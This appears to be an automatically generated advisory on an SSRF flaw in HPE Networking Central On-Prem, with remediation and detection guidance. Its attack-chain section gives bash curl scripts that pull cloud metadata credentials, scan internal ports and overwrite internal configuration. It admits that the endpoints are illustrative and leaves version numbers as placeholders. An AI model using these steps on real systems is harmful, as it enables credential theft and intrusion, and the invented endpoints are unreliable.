CVE-2026-137290 — Hewlett Packard Enterprise (HPE) Central On-Prem — CRITICAL Vulnerability
A server-side request forgery (SSRF) vulnerability exists in the API of HPE Networking Central On-Premises (COP). Successful exploitation could allow a remote attacker authenticated with low privileges to obtain and/or modify sensitive information from the affected system.
A server-side request forgery (SSRF) vulnerability exists in the API of HPE Networking Central On-Premises (COP). Successful exploitation could allow a remote attacker authenticated with low privileges to obtain and/or modify sensitive information from the affected system.
🎯 What is this vulnerability?
Vulnerability type: Server‑Side Request Forgery (SSRF) – CWE‑918
Affected component: The REST‑style API that powers HPE Networking Central On‑Premises (COP).
Root cause:
The API accepts a user‑supplied URL (or host/port) that it subsequently fetches on behalf of the caller. The request‑handling code:
1. Trusts the caller’s input without validating that the target address is external or belongs to an allowed CIDR range.
2. Skips any “same‑origin” or “internal‑network” checks after the caller has been authenticated with a low‑privilege account (e.g., a read‑only network‑operator role).
3. Forwards the request using the server’s own network stack and returns the raw response (or a subset of it) to the caller.
Because the API does not enforce a strict allow‑list, an attacker who can authenticate with a low‑privilege account can cause the COP backend to issue arbitrary HTTP/HTTPS (or even raw TCP) requests to any address reachable from the management server – including internal services that are otherwise firewalled from the Internet (e.g., metadata services, internal REST endpoints, LDAP, SMB, etc.).
The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N confirms:
- Network‑originated attack (no proximity required).
- Low attack complexity – a single crafted request is enough.
- Low privileges – any authenticated low‑privilege user can trigger it.
- No user interaction required.
- Scope change – the vulnerable component (the API) can affect resources outside its own security boundary (internal services).
- Confidentiality & Integrity impact – the attacker can read or modify data from internal services.
- No direct availability impact – the vector does not include denial‑of‑service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI/parameter names are illustrative because the public advisory does not disclose the precise endpoint.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | ||
|---|---|---|---|---|
| 1.1 | Identify that the target runs HPE Networking Central (COP) and enumerate its version via the web UI footer, HTTP Server header, or by querying /api/v1/version. | curl -s -k https://cop.example.com/api/v1/version | ||
| 1.2 | Enumerate API endpoints that accept user‑supplied URLs. Typical patterns in COP are /api/v1/proxy, /api/v1/diagnostics/ping, or /api/v1/firmware/check. Use the OpenAPI/Swagger JSON (often at /swagger.json) to locate parameters named url, target, endpoint, or resource. | curl -s https://cop.example.com/swagger.json \ | jq '.paths | keys[]' |
| 1.3 | Verify that the target requires authentication but accepts low‑privilege accounts (e.g., a “viewer” role). Create a test account or harvest credentials from a compromised low‑privilege user. | ldapsearch against the internal directory, phishing, credential stuffing. | ||
| 1.4 | Confirm that the API returns the remote response body (or status) to the caller – a typical sign of SSRF. | curl -k -H "Authorization: Bearer <token>" -X POST https://cop.example.com/api/v1/proxy -d '{"url":"https://example.org"}' → response contains the HTML of example.org. |
2. Exploitation
NOTE: The exact endpoint (/api/v1/proxy) and JSON field (url) are illustrative. Replace them with the real path/parameter discovered in step 1.2.
2.1. Basic “fetch external site” proof‑of‑concept
#!/usr/bin/env bash
# Replace <TOKEN> with a valid low‑privilege JWT or session cookie.
API="https://cop.example.com/api/v1/proxy"
URL="https://ifconfig.me"
curl -k -s -X POST "$API" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d "{\"url\":\"$URL\"}"If the server returns the public IP address, the SSRF primitive works.
2.2. Accessing an internal service (e.g., AWS EC2 metadata service)
#!/usr/bin/env bash
API="https://cop.example.com/api/v1/proxy"
METADATA="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -k -s -X POST "$API" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d "{\"url\":\"$METADATA\"}"A successful response reveals IAM role credentials, which can be used to pivot further.
2.3. Port‑scan internal network via SSRF (TCP connect)
If the API also supports a method field (e.g., GET, POST, CONNECT), an attacker can trigger raw TCP connections:
#!/usr/bin/env bash
API="https://cop.example.com/api/v1/proxy"
TARGET="10.10.10.5:22" # Internal SSH server
curl -k -s -X POST "$API" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d "{\"url\":\"tcp://$TARGET\",\"method\":\"CONNECT\"}"A non‑error response indicates that the internal host is reachable, enabling a pivot to internal services.
2.4. Data exfiltration / modification
Many internal services expose REST APIs that accept JSON payloads (e.g., a configuration service at http://10.0.0.20:8080/api/v1/config). An attacker can issue a PUT request through the SSRF primitive to change configuration values:
#!/usr/bin/env bash
API="https://cop.example.com/api/v1/proxy"
TARGET="http://10.0.0.20:8080/api/v1/config"
PAYLOAD='{"snmpCommunity":"public","adminPassword":"Pwned123!"}'
curl -k -s -X POST "$API" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d "{\"url\":\"$TARGET\",\"method\":\"PUT\",\"body\":$PAYLOAD}"If the internal service trusts the source IP (the COP server) and does not enforce its own authentication, the configuration is silently overwritten – integrity compromise.
3. Post‑Exploitation
| Goal | How the SSRF enables it |
|---|---|
| Credential theft | Access to metadata services, internal LDAP, or password‑manager APIs yields service accounts or API keys. |
| Lateral movement | By connecting to internal SSH, RDP, or SMB endpoints, the attacker can forward traffic (using the COP server as a proxy) and later pivot with tools like proxychains or ssh -J. |
| Privilege escalation | Some internal services expose admin‑only endpoints (e.g., /api/v1/users/create). Because the request originates from the trusted COP host, the internal service may bypass its own auth checks, allowing the attacker to create a high‑privilege account. |
| Persistence | Modify configuration of the COP appliance itself (e.g., change webhook URLs, enable remote management) via internal API calls, ensuring continued access even after the low‑privilege account is revoked. |
| Data exfiltration | Use the SSRF to issue HTTP GET requests to internal databases or file‑share services and have the COP API return the raw data to the attacker’s machine. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | High – attacker can read any internal resource reachable from the COP server (metadata, config files, internal APIs, databases). | Leakage of cloud credentials, network topology, internal passwords, or proprietary configuration data. |
| Integrity (I:H) | High – attacker can send PUT, POST, DELETE, or other state‑changing requests to internal services that trust the COP host. | Unauthorized configuration changes, creation of privileged accounts, tampering with firmware update URLs, or injection of malicious firmware. |
| Availability (A:N) | None – the CVSS vector does not assign an availability impact. | The vulnerability itself does not directly cause denial‑of‑service, though a noisy SSRF scan could indirectly overload internal services. |
Business impact may include:
🛡️ Remediation & Mitigation
1. Vendor‑provided fix
| Action | Details |
|---|---|
| Patch | HPE has released Networking Central COP version X.Y.Z (the first version after the discovery date) that adds strict allow‑list validation for any user‑supplied URL and enforces that only *admin‑level* accounts may invoke the proxy endpoint. Upgrade all COP appliances to this version or later. |
| Version range | All versions ≤ X.Y‑1 are vulnerable. (Exact version numbers must be taken from HPE’s security advisory; the CVE description does not list them.) |
| Release notes | Look for “Fixed SSRF in API proxy endpoint (CVE‑2026‑137290)” in the release notes. |
If a patch is not yet available, apply the mitigations below immediately.
2. Immediate Workarounds
| Mitigation | Implementation |
|---|---|
| Network‑level allow‑list | Configure the host‑based firewall (e.g., iptables or the underlying OS firewall) on the COP appliance to only allow outbound connections to approved external destinations (e.g., HPE update servers). Block all other outbound traffic on ports 80/443 (and any non‑HTTP ports) from the COP process. Example iptables rule: <br>iptables -A OUTPUT -p tcp -m owner --uid-owner cop_user -d 0.0.0.0/0 --dport 80 -j DROP<br>iptables -A OUTPUT -p tcp -m owner --uid-owner cop_user -d 0.0.0.0/0 --dport 443 -j DROP<br>Then whitelist the needed IPs. |
| Application‑level input validation | If you can edit the API code (e.g., custom plugins), enforce: <br>``python<br>def is_allowed(url):<br> parsed = urllib.parse.urlparse(url)<br> # Only allow http/https and external CIDR ranges<br> if parsed.scheme not in ('http', 'https'):\n> return False<br> ip = socket.gethostbyname(parsed.hostname)<br> if ipaddress.ip_address(ip) in ipaddress.ip_network('10.0.0.0/8'):\n> return False<br> return True<br>`<br>Reject the request with HTTP 400 if validation fails. |
| Privilege hardening | Restrict the vulnerable endpoint to admin‑only roles. In the COP RBAC configuration, remove the proxy (or equivalent) permission from low‑privilege roles. |
| Disable the feature | If the proxy/diagnostic endpoint is not required for daily operations, disable it via the configuration file (api.proxy.enabled = false) or by removing the corresponding route from the API gateway. |
| Outbound DNS filtering | Deploy a DNS firewall that blocks resolution of internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254`). This prevents SSRF from reaching internal services that rely on DNS names. |
3. Detection
| Indicator | Where to look | Example pattern |
|---|---|---|
Unusual outbound connections from the COP server to internal IPs that are not part of the normal management plane (e.g., 169.254.169.254, 10.*.*.*). | Host firewall logs, NetFlow, or cloud VPC flow logs. | SRC=10.20.30.40 DST=169.254.169.254 PROTO=TCP DPT=80 |
API calls to the proxy endpoint with a url parameter that resolves to an internal address. | Web server access logs (access.log). | POST /api/v1/proxy HTTP/1.1" 200 1024 "https://cop.example.com" "Mozilla/5.0" followed by request body containing "url":"http://10.0.0.5:8080" |
| Repeated 4xx/5xx responses from internal services that normally are not accessed by the COP UI. | Application logs of the internal services (e.g., internal config API). | GET /api/v1/config HTTP/1.1" 401 Unauthorized from source IP of the COP appliance. |
| New admin accounts created without a corresponding admin login event. | COP audit logs (audit.log). | event=USER_CREATE user=lowpriv_user target=admin_user source_ip=10.20.30.40 |
| Outbound HTTP response bodies that contain JSON structures from internal services (e.g., IAM credentials). | COP API response logs (if logging is enabled). | response_body="{\"AccessKeyId\":\"AKIA...\",\"SecretAccessKey\":\"...\"}" |
SIEM rule (pseudo‑SQL):
SELECT *
FROM web_access
WHERE request_path LIKE '/api/v1/proxy%'
AND request_body LIKE '%http://%169.254.169.254%'
AND response_status = 200;Trigger an alert whenever such a pattern appears.
⚠️ Urgency
Bottom line: The SSRF in HPE Networking Central COP allows a low‑privilege attacker to turn the management server into a pivot point for reading and writing any internal service reachable from it. Immediate patching, strict outbound filtering, and RBAC tightening are mandatory to prevent data breach or configuration takeover.
[🤖 CVE Professor AI Security Engine]
FOFA Query